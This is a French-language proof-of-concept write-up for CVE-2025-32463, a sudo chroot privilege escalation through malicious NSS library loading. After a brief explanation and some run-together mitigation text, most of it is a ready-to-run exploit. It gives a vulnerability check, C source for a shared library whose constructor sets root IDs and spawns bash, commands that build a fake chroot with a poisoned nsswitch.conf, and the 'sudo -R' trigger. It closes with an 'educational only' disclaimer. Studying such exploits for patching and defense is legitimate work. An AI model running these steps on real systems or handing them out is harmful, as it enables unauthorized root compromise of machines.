
Un exploit PoC pour CVE-2025-32463 - Escalade de privilèges Sudo
Une vulnérabilité d'escalade de privilèges existe dans sudo affectant les systèmes basés sur Linux/Unix. Le défaut provient d'une validation de chemin incorrecte lorsque sudo est utilisé avec l'option -R (--chroot), permettant aux attaquants d'escalader vers root via le chargement malveillant de bibliothèque NSS.
sudo exécute une commande dans un environnement chroot (option -R), il gère mal le chargement de bibliothèque NSS (Name Service Switch) lors de conditions d'erreur.LD_LIBRARY_PATH ou les chemins dans /etc/nsswitch.conf) peut conduire au chargement d'une bibliothèque malveillante au lieu de la bibliothèque NSS légitime (par exemple, libnss_files.so).sudo vers la dernière version patchée.sudo (limiter l'utilisation de chroot si possible).LD_LIBRARY_PATH./etc/nsswitch.conf.secure_path dans /etc/sudoers pour limiter les chemins de recherche de bibliothèques.| Composant | Déclencheur de la vulnérabilité |
|---|---|
sudo -R | Validation de chemin chroot incorrecte. |
| NSS | Chargement non sécurisé de bibliothèque lors des erreurs. |
| Exploit | Détournement de chemin → Chargement de bibliothèque malveillante. |
CVE ID: CVE-2025-32463
Versions concernées : Sudo 1.9.14 à 1.9.17
CVSS Score : 9.8 (Critique)
Impact : Escalade de privilèges locale vers root
Si elle répond avec No such file or directory alors elle est vulnérable :
sudo -R invalid invalid
sudo: invalid: No such file or directory
Tout d'abord, nous créons un répertoire temporaire pour travailler :
TMP_DIR=$(mktemp -d -t sudobridge.XXXXXX) cd $TMP_DIR
Cela crée un répertoire temporaire avec un nom unique et s'y rend. La commande mktemp garantit que nous n'interférons pas avec les fichiers système existants.
Nous devons créer un fichier C (bridge90.c) qui sera compilé en une bibliothèque malveillante :
#include <stdlib.h>
#include <unistd.h>
__attribute__((constructor)) void bridge(void) {
setreuid(0,0); // Set real and effective user ID to root
setregid(0,0); // Set real and effective group ID to root
chdir("/"); // Change to root directory
execl("/bin/sh", "sh", "-c", "/bin/bash", NULL); // Execute shell
}
Composants clés :
__attribute__((constructor)) garantit que la fonction s'exécute lorsque la bibliothèque est chargée
setreuid et setregid élèvent les privilèges à root
execl lance un shell bash
mkdir -p bridge/etc echo "passwd: /bridge90" > bridge/etc/nsswitch.conf cp /etc/group bridge/etc/ mkdir libnss_ gcc -shared -fPIC -Wl,-init,bridge -o libnss_/bridge90.so.2 bridge90.c
Détails :
Créer un environnement chroot factice dans bridge/etc
Modifier nsswitch.conf pour pointer vers notre chemin malveillant
Copier le fichier /etc/group réel pour maintenir la légitimité
Créer un répertoire pour notre bibliothèque malveillante
Compiler le code C en une bibliothèque partagée nommée pour correspondre aux conventions NSS (Name Service Switch)
sudo -R bridge bridge
Cette commande tente d'utiliser notre environnement conçu :
Le premier bridge est le répertoire chroot contenant notre configuration malveillante
Le second bridge est la commande à exécuter (qui chargera notre bibliothèque)
Après une exploitation réussie, vérifier l'accès root :
whoami # Devrait retourner "root"
id -u # Devrait retourner "0" (UID de root)
graph LR
A[Malicious Library] --> B[Fake Chroot]
B --> C[Trigger Error]
C --> D[Library Load]
D --> E[Root Execution]Cet exploit PoC est à des fins éducatives uniquement ! Je ne suis pas responsable de tout usage abusif que vous pourriez faire de cet exploit !